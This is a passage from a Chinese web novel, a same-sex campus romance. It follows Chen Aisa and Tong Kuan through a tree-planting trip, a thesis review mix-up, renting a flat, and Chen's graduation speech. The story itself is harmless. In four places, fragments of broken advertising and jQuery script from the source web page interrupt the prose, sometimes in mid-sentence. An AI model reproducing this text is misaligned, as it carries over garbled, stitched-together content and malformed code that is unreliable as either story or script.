这个小城日出很早,第二天早上陈艾卅醒过来时正好有一道晨光透过了床射进了房间,镜子上的反光又落到了盖着被子的童宽身上,童宽睡着的时候也是习惯蜷着身子,朝着右边睡,陈艾卅之前还为了能和他脸对脸睡,特 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意占了床的右边,童宽就笑着问他怎么一点空间都不给自己留,最后倒是自己不太习惯又跑回了左边,每每童宽背过去的时候,陈艾卅就会捞起他的腰贴近自己。 陈艾卅就这么看了童宽近乎十几分钟,脑子里之前的计划又浮现了出来,还没和童宽说自己要租房的打算,但到底还是要和父母伸手,面对一直自力更生的童宽,他甚至有点不知道该怎么开口,之前一直和父母要钱要得挺顺利的,突然好像就变成了一桩难事。他突然想到,今天出发还没来得及和自己家里说一声,要不先看看自己爸妈是什么意思。 陈艾卅先是发了个定位,又发了一句话,“这周在这里带活动。” “我拿到Offer了,毕业之后就可以去入职,就是公司离家有点远。” “我想在外面租个房子,爸妈你们觉得行吗?” 连发了三句,他自己都不知道重点到底在哪里。 过了一会儿,妈妈曲婷发了个四十多秒的微信过来,陈艾卅戴上了耳机,听了四五秒就没听下去了,主要还是念叨毕业了还是回家住好,都多久没回家了家里都没人气了,这些话曲婷老是反复说,可她自己回家的时间也很少。 陈昇青倒是直接,问陈艾卅的每月房租预算是多少,需要家里多久的支持。 陈艾卅看了看童宽,又想了想,回了个“半年”。 接着陈昇青也发了一段话,说支持自己儿子出去闯一闯,希望妈妈的眼界也能够放得更长远些,总是要独立的。在这对夫妻之间,曲婷总是热闹的那个,可却没有陈昇青来得更有说服力,很快,曲婷也赞成了。 陈艾卅挺开心,好像自己没费多少功夫就先办成了一件事,他在等童宽醒过来与他分享。 童宽醒过来的时候,陈艾卅正在洗手间里刮胡子,回过头看到睡眼惺忪的童宽坐在马桶上,陈艾卅伸手就揉了他一把,“一会儿等你清醒了跟你说件事。”童宽就顶着头发有点乱的脑袋点了点头,哑着声音说了句“好”。 “我……毕业后得离校,你知道不?” 童宽点了点头,“知道,年底就要退宿了吧。” “嗯,”陈艾卅拉过了童宽的手,“我刚刚,和我爸妈商量了一下。” 童宽看着陈艾卅的表情突然有点紧张,捏紧了拳头。 “我打算在外面租个房子,他们同意了,你……要不要跟我走读?” 童宽张了张嘴,却没有回答。 “不是一定要你同意,根据你自己的想法来,我想听听你的意见?” “我,”童宽表情有些纠结,“我……还得勤工俭学,而且有些课是在晚上,还有项目……” “没事,没事,我理解。”陈艾卅搓了搓他的手。 “卅哥,你等我几年好不好?”童宽抬起了头,突然对陈艾卅说道。 “嗯?”他没有理解童宽的意思。 “等我几年,我们就住在一起,好吗?” 虽然陈艾卅没明白他的意思,但还是点了头,“好。” 见陈艾卅那么爽快地答应了,童宽反而又多了几句解释。 “我想和你住在一起的。” “说好很久很久的。” “就是卅哥,你要……等等我。” 32. 意外 跋山涉水后,当陈艾卅和童宽真的到了活动现场后,梁臣先来和陈艾卅打了个招呼,又对着童宽叫了一声宽哥,起初童宽还有些不习惯,但陈艾卅拍了拍他说你就受着,完全受得起,童宽就腼腆地笑笑,等梁臣走了,童宽就悄悄问陈艾卅,是不是就是这个男生在追林琦,陈艾卅还挺惊讶于他的敏锐度的。 “他来好几次了,每次都是等林琦过来,林琦还对他没什么好气。” “这么瞧不上他啊?”陈艾卅笑着问童宽。 “也不是,林琦就那样,觉得没她强的都会叨叨两句。” “我也……没她强啊。”陈艾卅又问。 “你帅啊,人家见你第一面不就说了么,说你行,很帅。”童宽打趣道。 “我不强吗?” “强,我家卅哥强得可怕。”童宽比了个秀肌肉的姿势。 之后陈艾卅去和当地的领队去打招呼,就把童宽一个人先放在营地这里了,陈艾卅回来后,没有看见童宽,就去问梁臣有没有见到他,梁臣也说没看见,陈艾卅觉得奇怪,就四下找了找,最终在农家的房子后边看到了童宽,好像是刚刚才挂掉电话。 “怎么跑这来接电话?”陈艾卅问。 “卅哥?”童宽好像吓一跳,但下一秒就平静了下来,“哦,项目后台运营有点问题,我刚给他们说了,已经解决了。” 陈艾卅点了点头,又说:“这个地方挺偏僻的,不要一个人乱跑,找不到你怎么办。” 童宽就跟个调皮的孩子一样,把扣在自己背包上的荧光绿救生哨拿出来晃了晃,“我有这个。” “这个我也可能听不到啊,傻不傻。” “知道了,我下次就在你视线范围内,不瞎跑。” 陈艾卅点了点头。 “卅哥,你说我们种树有用吗?”童宽突然有些疑惑,“会不会刚种下去就被拔出来?” “这里是保护区,有巡林员的,还会有志愿者过来,”陈艾卅指了一个穿橙黄色马甲的人说,“你看,穿这个马甲的就志愿者,他们有的会在这里呆上一个月或者更长的时间,一方面记录森林树木的留存数量,另一方面就主要看看新种的树的情况,如果有的树生病了,还要给他们打药呢。” “卅哥你来这里做过志愿者吗?”童宽见他说得头头是道,不禁问了一句。 “我倒是想啊,”陈艾卅耸了下肩膀,“忙着毕业、忙着读书、忙着工作……不知道什么时候才能来这里做志愿者。” 童宽也轻轻点了点头。 梁臣叫他们集合的时候,陈艾卅和童宽走了过去,梁臣先用询问的眼神看了一眼陈艾卅,陈艾卅点了点头,他就开始做了一下这次活动的宣言和目的,以及告诉大家一些安全事项,千万不要因为有团队在,就忽略这里的危险性,林子里树多蛇多,还可能会有野狍子和鹿,见着了千万不要惊吓,一定要按照安全操作手册上的流程来。 四处分散的时候,陈艾卅没有和大部队走,而是先和梁臣打了个招呼,又问他要了个对讲机,拍了拍梁臣的胳膊说,带他们家小孩儿去别的地方逛逛,有他带着别担心,大部队这里还是靠梁臣了。 梁臣心领神会,“学长、宽哥,你们去吧,就是掌握好时间,别太晚回来。” “知道,不会,辛苦了。” 陈艾卅并没有避讳梁臣,而是牵着童宽的手走的,他们两个避开了主路,从一条小径里穿了过去,陈艾卅扶着童宽的胳膊,两个人并肩走着,陈艾卅另外一只手上还拿着一个树苗。 “卅哥,去哪里?” “去第一缕阳光照进来的地方,我们把树种在那里。” “好。”童宽应着。 其实两个人也并没有走很远,穿过了林子后,七绕八绕地到了一个地方,陈艾卅拨开了地上的灌木,让童宽先往前走,走了两步,童宽就停了下来,陈艾卅就扬起了嘴角,轻轻问他,“今年这里看起来怎么样?” 童宽面前的,是一大片开阔的地方,地势比他们站着的地方更低一些,好像是突然断层的,从他们的脚下,能看到下面树的树冠,一个个圆圆的,深绿与浅绿交叠,有些乔木上还有红色的蕊,从脚下一直蔓延到视线的终点。 “这里真美。” “是啊,”陈艾卅也走了上来,站在童宽边上,“每次来都是这个点了,可惜没在这里看过日出,这里是正东方。” “卅哥,”童宽的眼睛一直盯着前方看,“你真美好。” “嗯?”陈艾卅笑了,从来没有人这么说过他,“怎么说?” “正义凛然,又充满理想,”童宽说着话的时候眼睛也没换方向,“一尘不染的,特别美好。” 陈艾卅好像咂摸出了点童宽话里的意思,“你是不是在骂我傻呢?” 童宽也一下子笑出来了,“哪有这么骂男朋友的啊。” “可我听着就这意思啊,说我又傻又冲动,不是吗?” “当然不是,”童宽眼睛看向了陈艾卅,眼神里的鉴定不言而喻,“你是太阳。” “那你呢?” 童宽想了想,“月亮,一直绕着你转的月亮。” 陈艾卅把手上的树苗放了下来,抱过了童宽,“不要一直绕着我转,做你自己,让我有点机会绕着你转。” 童宽就在陈艾卅的脸上亲了一口。 两个人决定栽树的时候,来回定了好几个地方,童宽几乎都要拿出手机借助互联网算法来看哪个位置能沐浴到更多阳光了,可发现这里竟然没有信号,一整个无服务,陈艾卅就挑了眉跟他说,知道为什么离开前他问梁臣要了个对讲机了吧,童宽垂着脑袋点了点头,说一个IT没了电脑和网络,就好像潜水员失去了装备一样,陈艾卅就笑他是网瘾少年。 最终决定,就把这棵树栽在童宽现在站的地方,虽然可能因为断层会有树根外露的情况,但是这里的日照一定是最丰富的,于是两个人拿出了在营地拿的铲子,一下一下地挖着土,把小树苗放下去后,又在根这里堆了个小土堆,确定树苗不会晃动之后,才罢了手,陈艾卅就从背包里拿出了两大瓶在营地里灌的水,全部都倒在了根部。 “这棵树能不能活,其实就看这一个礼拜能不能行。”浇完水陈艾卅说道。 “这么短么,它不会自己找出路么?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你以为它还有像在程序里的后门呢?”陈艾卅笑着说,“即使找出路,它也要花上很多时间,首先就是要看能不能适应这里的土地。” “那我们最后一天再来看看,好吗?”童宽仰着脖子问陈艾卅。 “好啊,我也是这么打算的。” 活动的最后一天,陈艾卅和童宽到底也没去看那棵树有没有活下来,才到这里没过两天,辅导员就给他打了个电话,说他的论文明审出了问题,有一个教授直接的评语是“重大修改并延期”,这让辅导员猝不及防,这个平日里最不会给她添麻烦的男生在此刻论文出了问题。 他紧锁着眉头,想着赶紧回程,如果论文出了问题Offer也会跟着出问题,那他规划的一切都会落空。陈艾卅握着手机手几乎在屏幕上划拉得订票网站都有些点不明白,他的论文已经被导师修改过了,怎么会出这样的状况,最后还是童宽帮着他买的票。 一路上陈艾卅都很着急,几乎没有平静下来过,他甚至给导师打了电话询问怎么回事,而他导师也说很意外,那是一个校外的老师评审的,他们也不熟悉,只能说是陈艾卅有点倒霉,可陈艾卅反复看过自己的论文,还不止请一位老师看过,有问题的概率太低了。 童宽也跟着他一起回程,即使陈艾卅说他可以再这多呆几天也没答应,他说他只想跟着陈艾卅,陈艾卅就点了点头,回程的飞机上,陈艾卅焦虑得有点难受,好像咽炎又犯了,童宽就从口袋里拿出了备着的薄荷糖递给到他。 “卅哥,别紧张,可能只是老师点错了。” “不会,”陈艾卅有些苦恼,“明审审核老师要点击两次,确认了才可以。” “有机会申诉吗?”童宽问他。 “可以的,但是修改还是得给这个老师看,他没问题了才能通过。” “照道理来说不会在明审的时候关人的,眼看着就要答辩了。”童宽也觉得很疑惑。 “是啊,”陈艾卅哭笑不得,“难道是我得罪谁了?” 这件事一直到两个人到宿舍里,都还没有定论,陈艾卅说要去找一下他导师,可能会有点晚,让童宽不要等他回来吃饭了,童宽就点头说了声好。 出门前,陈艾卅有些愧疚,拉过了童宽的手把他抱在了自己怀里。 “对不起,小宽,”陈艾卅声音有些低沉,“本来想和你在那里好好过上几天,没想到出了这个意外。” “小……宽。”童宽重复着陈艾卅的话,好像有点失神。 “这么叫你可以么?”陈艾卅又说,“我好像从来没有问过你的小名叫什么,可叫你童宽,我总感觉太过见外。” “卅哥,”童宽抱紧了陈艾卅,“我没有小名,我很喜欢。还有,你的事一定会解决的。” “嗯,”陈艾卅又摸了摸他的脑袋,“要记得吃晚饭,好吗?” “要不要帮你带一些?” “不用,”陈艾卅轻笑了一声,“还打算用脸盆给我热啊?” “你又没睡着,超市也可以的。” 临走之前,陈艾卅还是轻轻吻了吻童宽的唇,就是关门那一瞬间的叹气,怎么都掩盖不下去。 33. 虚惊 学校的评审都是保密的,陈艾卅看不到究竟是哪位教授,即使到了自己导师的办公室,他还是束手无策,连导师都眉头紧锁。 回顾陈艾卅的本科四年,研究生三年,几乎顺风顺水,自己的风评也一直很好,只要是系里头有什么事,或者有什么需要男生的地方,他从未推脱,甚至主动承担了很多,别说很多女生把他当男神,就连同系的男生都对他没有意见,因为他不谈恋爱,更不存在男生中的嫉妒什么,他真想不到,到底自己做错了什么,毕业前的临门一脚也能把他卡住,他忍不住看向了他的导师,眼睛里带着一些疑问。 “你别看我,”导师立马心领神会了,“我在这都多少年了,从来没因为我的原因把我学生关掉的。” “……我不是这个意思,”陈艾卅其实有些不好意思,但还是故作解释了几句,“导,平时有啥有好处的事儿被我占了不?” “你?”导师笑了笑,“反正学习上的事情没有,其他的你自己想想吧。” “我也就……做了个外联部的部长啊,别的都没有。”陈艾卅忍不住挠了挠头。 “别想了,要不你申请个延毕,下次流程再跑一遍,顶多晚半年毕业。” “不行,”陈艾卅听不得这个,“好不容易找到份还挺满意的工作,要出岔子就真没了。” “要不……”导师也拧了拧眉毛,“你申诉试试?” “也只能这样了。” 从导师办公室出来的时候,飘起了秋雨,淅淅沥沥的,不大,却带着凉意,南方的潮湿在此刻特别明显,他走出文科楼,看着墙面上的红砖因为下雨颜色更深了一些,抬头看了看阴沉沉的天,深深叹了口气出来,人生不如意之事十之八九,陈艾卅虽然没办法立刻看开,眼下却也没别的办法。他刚踏出门两步,秋雨扑面而来,他觉得脸都感觉到冷意了。 “卅哥。”童宽撑着伞过来了,走到了陈艾卅的面前。 见到童宽过来,陈艾卅的心里淌过了一股暖流,他以为自己要像之前淋了无初次雨的时候一样,走回宿舍,他这会儿有些恍然大悟,自己已经是有对象的人了,他赶紧往前走了两步,拿过童宽的伞,把童宽也揽在了伞下。 “你怎么来了?” “下雨了,我想你应该没带伞。” 陈艾卅没说话,把童宽搂得更紧了些。 他们俩没回宿舍,倒是先去了食堂,这次没有去三楼的西餐厅,而是就在一楼买了简餐。 “卅哥,导师有说什么不,有转机吗?” 陈艾卅摇了摇头,“没办法,学校系统是保密的,看不到到底是哪位老师打的评审。” “那接下来要怎么办?” “申诉,”他又叹了口气,“然后等,实在不行的话,就延毕等下一轮了。” 童宽低头吃了一口饭没说话,陈艾卅知道,那是童宽不想提及他Offer的事情,在照顾人心情方面,童宽总是很周到。 回去的路上童宽说项目上有点事要去找一下徐熠,问陈艾卅行不行,陈艾卅就揉了揉他的头说,又不是不让他交朋友,想去就去呗,不用跟他说的,他让童宽把伞带走,可童宽硬是把他送到了宿舍楼下。 “卅哥,我就去一会儿,很快就回来了。” “没事,注意安全。” 童宽咧嘴笑了,“知道了,我结束了跟你说。” 陈艾卅点了点头,他抿了个笑就上了楼,这会儿他实在是有些高兴不起来,他感觉自己刚定下来的未来被摆了一道现实的坎。 回到宿舍后,陈艾卅打开了论文系统,反复地看着那条评语,基本是一些大多数论文都会有的通病,最后甚至还加了一条学术规范问题,陈艾卅眉毛都快拧在一起了,不甘、不解,甚至有点愤恨,他直接把笔记本的屏幕盖上了,脱了鞋直接上了床,打开手机随意刷着。 看着朋友圈里的同学,有的已经在行业领先的企业里实习了,有的还有一个月考研考公,还有的已经到了海外,他觉得此刻自己就像秋天的落叶,飘到了湖里,变成了一片浮萍,没有方向,随波逐流,陈艾卅对未来的要求也好、畅享也好,在这一刻戛然而止,想着自己竟然在担心起了最基本的论文问题,他没忍住自嘲地笑了一声。 这天童宽并没有很快回来,到宿舍的时候陈艾卅已经睡着了,他只记得宿舍全黑的时候,听见了门开的声音,再醒过来,已经到了第二天的早上,事实上在陈艾卅知道自己论文出了问题之后,几乎就没睡过整觉,这会儿也实在是太累了。 童宽这天有课,下午又要去勤工俭学,陈艾卅成了一个事实意义上的闲人。 他实在是不愿意和爸妈说自己可能还需要延毕半年,虽然他父母对他究竟做什么并不干涉,但实在是不想自己出尔反尔,他又打开了电脑,甚至有一种立马修改论文的冲动,可再次看到那些调整意见,陈艾卅自己都觉得是个笑话。 下午的时候,他实在憋闷,不能再在这小小宿舍里呆着了,他走到了学校的草坪边上,坐在一个位置上,这里离教育超市不远,等童宽完事后正好也能遇上。 刚坐下来没多久,辅导员就给他打了电话。 “喂?”陈艾卅声音有点低沉。 “你上过论文系统了吗?”辅导员倒是挺大声的。 “上过了,意见看到了,有点离谱。” “不是不是,你什么时候看的?” “回来看过了,今天早上还看了一遍。” “你论文过了,那个老师说打分打错人了,研究生院那已经改好了。”导员的声音一个字一个字落到了陈艾卅心里。 他蹭地一下站了起来,“什么?打错了?” “是有点离谱,我也刚收到通知,”辅导员也挺激动,“你手边有电脑没,赶紧看看。” “好的,我去看看,”陈艾卅拿着手机就开始跑,“谢谢啊!” 他有点不敢相信,之前在林子里的时候,还说什么回转余地,到了这,竟然告诉他真的打错学生了?学校的论文审核系统真的这么古早么,能让老师的眼睛花到看不清是哪个学生的论文? 脑子里转了几十个想法,但还是忍不住激动,跑到六楼的时候,甚至喘得厉害。 陈艾卅咽了一口唾沫,喉结上下滚动了一下,打开电脑屏幕的手甚至有些颤抖。 输入学号、密码,点击登录。 查看明审过程。 “已通过”三个绿色的大字躺在明审的审核栏里,比之前大红色的“重大修改,延期”顺眼太多。 陈艾卅这会儿才开始觉得荒谬,怎么就急得一定要从林子里回来了,复核的时候老师们会反复看的啊,最后一次带队,和第一次带着童宽去那片林子,还是太匆忙了。 但是过了。 他松了一大口气,好像戛然而止的齿轮,这会儿终于得以向前滚动。 陈艾卅来不及和导师说,立马合上了电脑,就向着教育超市的方向跑去,这一来一回,给他跑个够呛,到了教育超市门口陈艾卅都直不起腰来了,双手撑着膝盖大口呼喘着,倒是先被林琦发现了。 “学长?” 陈艾卅抬头看了一眼,深深呼吸了一口,虽然是秋天,可额头上有着大颗的汗珠,他还是说不出话,只能点了点头示意了一下。 “我我,我去喊宽哥,他时间到了,结束 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,我让他现在出来哈。”林琦跑着就进去了。 前后半分钟都不到,童宽就出来了,人还没到陈艾卅身边,先递过了一张纸巾,陈艾卅拿过擦了擦汗,抬头的时候是久违的心里轻松的笑容。 童宽好奇地抬了抬眉毛,仿佛在问陈艾卅怎么了,“嗯?” “论文,”陈艾卅又喘了一口气,“论文过了,老师批错了。” “真的吗,”童宽的表情一下子也明亮了起来,“太好了!” “没想到会出这种问题,”陈艾卅对着童宽开玩笑,“真的太离谱了,对方老师是个老头儿吧。” 童宽笑得很开心,“不知道呢,总之过了就好了卅哥。” 陈艾卅点了点头,没有顾及周围所有人的眼光,直接抱住了童宽。 “对不起。”陈艾卅说。 “怎么了,卅哥?” “都没等到评审复核,我就回来了,我应该等一等的,都还没和你看那棵树的样子。” “我们以后去看,”童宽也回抱上了陈艾卅的背,“卅哥,很久很久。” 陈艾卅突然有一股情绪向上翻涌,积攒着的着急都变成了抱歉,又紧紧抱了抱童宽,“还是有些对不起你。” “以前说不想再听到我说这个,你怎么也染上了这个坏习惯。” 陈艾卅笑着把手放开了,他看见旁边走过的几个女生的眼神里有些奇怪,但他这会儿已经不在意了。 “好,那我不说了,回去吗,还是想去哪儿?” “我先去打个电话,最近徐熠的这个项目事情有点复杂。”童宽指了指教育超市侧边的门。 “那我在草坪边上等你?” 童宽的眼神突然恍惚了一下,表情僵了一瞬,然后才扯了个笑,“好,我一会儿来找你。” 这一通电话真长啊,陈艾卅在草坪边的长椅上坐得都快睡着了,童宽还没有回来。 一股凉风吹过,陈艾卅感觉已经快入冬了,冷空气激得他鼻粘膜有些难受,他皱了一下鼻子,又往教育超市的方向看了看,童宽还站在那里打电话,陈艾卅看不清他的表情,却看到他来回踱步。陈艾卅发现,自己很少看到童宽沉浸在工作时的样子,更多的时候对着自己又乖巧又听话,可现在他往那边一站,有的时候手摸一下下巴,有的时候又手又放在身前,每个动作都彰显着他专业方面的自信,相比之下,童宽才是那个熠熠生辉的人啊,自己跟他比,还是太普通了。 陈艾卅又看了几眼童宽,见他还没有要结束电话的趋势,也拿出了电话给导师说明了一下情况,没想到电话刚过去,导师就开骂了,倒不是说陈艾卅什么,只是说那个评判的老师实在是太不负责,眼睛花就戴眼镜,用不明白鼠标就不要审阅论文,陈艾卅哭笑不得,他也是第一次见自己素来温和的导师勃然大怒,本来还想和导师卖个惨的自己反而却安慰他了起来。 童宽过来的时候,陈艾卅恰巧也挂了电话,童宽脸上带着笑,却有些疲惫,陈艾卅问他是不是累了,童宽却摇摇头说没事,还想着问陈艾卅晚上想去哪里吃个饭庆祝一下,陈艾卅就捏了捏他的脸。 “哪儿都不去,搞论文这事这么多天了,你的特殊优待都少了。” “什么特殊优待?” 陈艾卅看着童宽,一脸深情,好似从这一刻就开始不舍,“等我工作了,就没办法给你带饭了。” 童宽也是一怔,脸上落过了一丝失落。 风又拂过了树叶,发出了沙沙的响声。 “周末,”童宽的声音落在风里,“周末我可以去你租的房里过吗?” “不是我租的房,”陈艾卅对童宽说,“是我们。” 34. 牵挂 答辩一直是陈艾卅的强项,只要往台上一站,整个人的气场就出来了,男生在语言学系里本来就少见,何况还是个高大帅气的,顺畅的陈述、完美的发音、得体的回答,几乎找不到破绽,短短的十五分钟,整个教室的焦点都在他的身上。回到座位上的时候陈艾卅就给童宽发了消息,只有两个简简单单的字,搞定,童宽给他回了个厉害的表情。 “今天约了中介,等你忙完了我们去看看房子吧,早点定下来?” “好的,卅哥。” “还有个事,下午见面了说。” “嗯嗯。” 童宽的寝室关系一直还挂在原来那里,严格说来,只是在陈艾卅的宿舍里借助,眼下他即将毕业,童宽也没办法直接走读,这件事陈艾卅一直记挂在心,虽然和童宽也讨论过这件事,即使童宽觉得再回宿舍也没什么关系,陈艾卅也实在不想他受这个罪。 找了许多关系后,学生会宣传部有个学旅游管理的干事说自己住的是双人寝,室友也是今年毕业,自己平时不怎么回寝室,本来是等着学校分配了,但也担心来个大一新生,太闹腾,陈艾卅就立马问他研一的行不行,那干事看过来的眼神有些古怪,陈艾卅倒是坦然,笑着说是给自己男朋友找的寝室,干事的眼珠子差点瞪出来,然后问了句“你怎么敢的呀”。 敢不敢的,在经过宣传部部长的一番教育和担保之后,最后还是接受了,最让陈艾卅哭笑不得的是,那宣传部部长的一句“你也不看看自己什么样就担心别人喜欢你”,整得他都不知道该附和,还是安慰那兄弟。 真的告诉童宽的时候,童宽惊讶得有点说不出话来。 “怎么了?”陈艾卅有些不解,也有些忐忑,“不太好吗?” “不是……”童宽好不容易说出了几个字,“我只是……有点惊讶,不是,惊喜。” “傻小子,”陈艾卅笑道,“你不跟我出去住,我也不能把你往火坑里推啊。” 童宽愣愣地走到陈艾卅的面前,伸手抱向了他,侧脸贴在他的胸口,声音很轻,“卅哥,谢谢你。” 陈艾卅叹了一口气,他这才放松下来,自信如他,他也是第一次谈恋爱的时候这么患得患失,想童宽开心,又怕童宽生气,可事实上在和陈艾卅恋爱后,童宽的情绪稳定得让陈艾卅惊讶,从来不计后果,也从来不会多虑,在童宽眼里,陈艾卅无可挑剔,这种感觉越强烈,陈艾卅越心疼,想在方方面面,都给童宽最好的照顾。 他俩最终在陈艾卅要去的公司附近租了个小小的一居室,去看房的时候之前的租户还在,有个看起来二三十岁的女的正在洗脚,男的就在那忙前忙后地收拾,床上沙发上翻出来的都是衣服,看样子两个人应该是要搬走了,陈艾卅趁中介和童宽去看卫生间的功夫,悄悄问了下上家租户为什么要搬走,是不是觉得有哪里不太好。 那男的就挠了挠头,有点不好意思,“媳妇怀孕了,换个大点的房子,这屋子挺好的,我们住了两三年了,都没什么问题。” 陈艾卅道了声恭喜,心里也觉得很满足,他觉得这间屋子会给他带来幸运。 他和童宽都没什么纠结,当天晚上就交了三个月的房租和中介费,时间可以等到下个月再开始算。 回学校的时候,两个人牵着手。 “小宽宝宝。”陈艾卅叫童宽。 童宽愣了一下,笑出来了,“卅哥,你怎么那么多花样。” “刚刚,我问了上家租客为什么走。” “为什么?” “因为……他们有了更好的生活,我觉得那个屋子还是挺幸运的。” 童宽突然站定了,走到陈艾卅的面前,握过了他的手,定定地看着陈艾卅的眼睛。 “卅哥,”童宽说,“我们一定会过得非常好。” 陈艾卅也笑了,反握住了他的手,还捏了捏,“嗯,我们一定会过得非常好。” “有件事,卅哥我想听听你的意见。”童宽的面色有点紧张,“之前一直没说,是因为我还没想好。” 童宽从来没有露出过这种神色,陈艾卅站定了认真听他说。 “我……之前说,也有自己想做的事,”童宽咽了一下,“其实是想创业,呃,没遇见你之前,我都没想过我会恋爱,但真的很惊喜。我想自己做一款app,之前一直没想好做什么,但和你一起去了那片林子后,我想好了。” 陈艾卅没有打断童宽,而是静静地听听说完。 “我想……做一款类似云公益的app,我知道很难,也知道在现在大家都在玩游戏找刺激的情况下做一款像老干部的产品,不一定能有什么声量,但我还是想做,虽然细节还没敲定,但我想把它做出来,让更多的人知道,让更多人找到属于他们自己的根。” 最后一句话,就像一道惊雷,击倒了陈艾卅,那种从心底里传出来的酥麻感受,让他浑身上下都起了鸡皮疙瘩,他问了童宽一句话,“想好了吗?” 童宽对着他点了点头,“想好了。” 陈艾卅又牵起了童宽的手,带着他慢悠悠地在路边走,“想好了就去做,我一直支持你。” “真的?” “当然了,”陈艾卅朝着童宽笑笑,“我什么时候骗过你。” 童宽摇了摇头。 “倒是你,是个小骗子,整天就会瞒东瞒西的。” “哪有,”童宽也长长呼了口气,“不过我现在也只是做搭框架,真的要做的话,要费很多时间,也需要一些启动资金。” “要投资吗?”陈艾卅问他。 “一开始不用太多的,徐熠帮我测算过,最开始只有最基础的人工成本。” “他知道你要创业啊?”陈艾卅也不知道哪来的一点酸。 童宽脸上露了个不好意思的笑,“嗯……他不是MBA的么,我请他帮忙测算了一下。” “哦……”陈艾卅故意拖长了尾音。 “卅哥——”童宽的声音了带了些撒娇的意味,听得陈艾卅心里痒痒,“我想想好了再和你说来着。” “哦……那你想不好的时候就用不着我呗?”陈艾卅故意逗他。 “不是这个意思,”童宽都把他的手要拽起来了,“之前真的没想好要做什么,卅哥。” “想好了就是通知我一下咯?”陈艾卅都快装不下去了。 “哎呀,卅哥,我要生气啦!”童宽第一次这么说话。 陈艾卅勾过了他的肩膀,把他揽了过来,憋着笑满嘴都是调戏,“从来没看见过我家小宽生气呢,快生一个给我看看?” “我咬你啦!” 路边的灯光照耀下来,童宽的皮肤上也洒上了一层金光,陈艾卅看着他在路灯下假装张牙舞爪的样子,觉得自己是全世界最幸福的人,于是陈艾卅就把脸递了过去,“喏,咬吧。” 没等陈艾卅下一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 句再说出口,童宽就在他的面颊上深深亲了一口。 “挠痒痒呢?咬得太轻了。”陈艾卅贱兮兮地把另一边脸也挪了过去,童宽却不再上他的当了。 “你耍流氓。”童宽说。 “明明是你亲我,然后说我耍流氓?!”陈艾卅惊道,“还有没有天理了。” 两个人一路打打闹闹到了宿舍,没开灯,陈艾卅就把童宽抱了过来。 “宝贝,”陈艾卅在童宽的耳边轻语,“在这个学校里,我最舍不得你。” 童宽也抱紧了他,“卅哥,也就一年半时间,我也毕业了,就是……” “就是什么?” “就是不知道,”童宽轻轻叹息了一声,“不知道那时候,你还是不是喜欢我。” “挺聪明的人,怎么到这种事情上就犯傻。”陈艾卅吻了吻他的鬓角,“喜欢的,会一直喜欢。” 童宽把脑袋努力放到了陈艾卅的脖颈边,他只是觉得肩膀那边好像有些湿滑、潮热。 在这一刻,陈艾卅终于感受到了许多人对于校园的无限留恋。 而他也在这一刻突然发现,童宽一年半之后才应该有的不舍得,已经提升到了现在。 “我们以后还是会常常见面,”陈艾卅抚着童宽的背,“你周末来,平时有空我也过来。” 童宽却摇了摇头,“卅哥,去做你想做的事情,不要被学校绊住,我也会努力,努力跟上你的脚步。” “你哪里需要跟上我的脚步,你已经是一个非常厉害的人了。” 这晚他们挤在同一张床上睡觉,什么都没做,单单只是拥抱,童宽这一晚抱着陈艾卅几乎不肯放,陈艾卅就跟哄孩子一样在他耳边哄慰他。 真正拿到毕业证和学位证的时候,已经元旦后了,空气中的凛冽钻进了鼻子里,弄得人发痒。 意外的是,陈艾卅拿着证书从文科楼出来的时候,童宽就在楼下等他,手里竟然捧了一束花,碎冰蓝的玫瑰。这天的太阳很好,冬天的太阳好像带着绒毛,照在人的身上暖洋洋的,他就站在阶梯那里,看着童宽,没有走下去。 “卅哥,恭喜你毕业。” 阳光下童宽微笑着,看着陈艾卅的眼睛亮晶晶的,他觉得这天太幸运了,所有的美好都落在了自己身上。 走下阶梯,陈艾卅没有立刻马上把花接过来,而是认真看着童宽的眼睛,认认真真地说了一句谢谢,才拿了过来。 “年初毕业的人少,会有个小型的毕业典礼,一会儿我要去发个言,你来听吗?”陈艾卅问童宽。 “方便吗,卅哥?” “我希望你来。”陈艾卅说。 “好。” 两人牵着手过马路回对面校区的时候,陈艾卅问童宽,“怎么想起来给我买花?” “最近学校里领证的人不少,他们都有,卅哥也要有。” 陈艾卅的心里头一阵酸软,“童宽。” “嗯?”童宽站定了,转头忘了过去。 陈艾卅已经忘了自己多久没有叫他的大名,绿灯已经跳了红,只有他们两个人站在路中间的暂停小岛上,身前身后都是车流不息。 “你对我来说,就是这个世界的万中无一。” “世界上所有的美好加起来,都不及你。” 他手里拿着花,又抱向了童宽,在路中间,屏蔽了所有的嘈杂,在童宽的耳边留下了一句,“我爱你。” 35. 抚平 童宽看向陈艾卅的表情愣住了,即使绿灯亮了他也没注意到,事实上在听到这句话之后一直到礼堂,童宽一句话都没有说,陈艾卅心里也跟打鼓一样,他确定童宽是喜欢的、惊喜的,他心沉甸甸的感觉更多来自于他本身。 陈艾卅对自己太了解了,即使周围的夸赞多得不计其数,他始终认为自己是个普通人,最多不过是皮相好看一些、成绩稍微比普通人好一些罢了,他不是天赋型选手,对周围始终保持谦谦有礼的原因也是无法共情强烈的情感,他甚至不知道,过去那些人为什么要跟自己告白,他以前根本不懂爱,更不可能说出爱这种词,但就这短短的和童宽相处的几个月里,他不仅弄懂了许多情感,甚至感知到了爱,还在感知到的同时说出了口。 他早就做好了爱童宽的准备。 到礼堂的时候,陈艾卅就先去前排坐着了,他用眼神询问童宽。 “卅哥我自己找地方坐,等结束了你发我微信吧。” 陈艾卅说了一声好就往前走了过去。 轮到他上台发表感言的时候,感谢了许多人,当眼睛离开稿子的时候,他捏了捏话筒,下定决心一般,在台下的人里找到了童宽,他就这么静悄悄的坐在礼堂中后靠边的位置,又多说了一句,“最后,感谢我生命中的万中无一。” 台下掌声雷动,更多的是起哄,问得最多的都是“你生命中的万中无一是谁啊?” 陈艾卅也就笑笑不回答。 陈艾卅和童宽在礼堂门口碰头的时候,童宽除了不好意思,还有点纠结,“卅哥,我……” 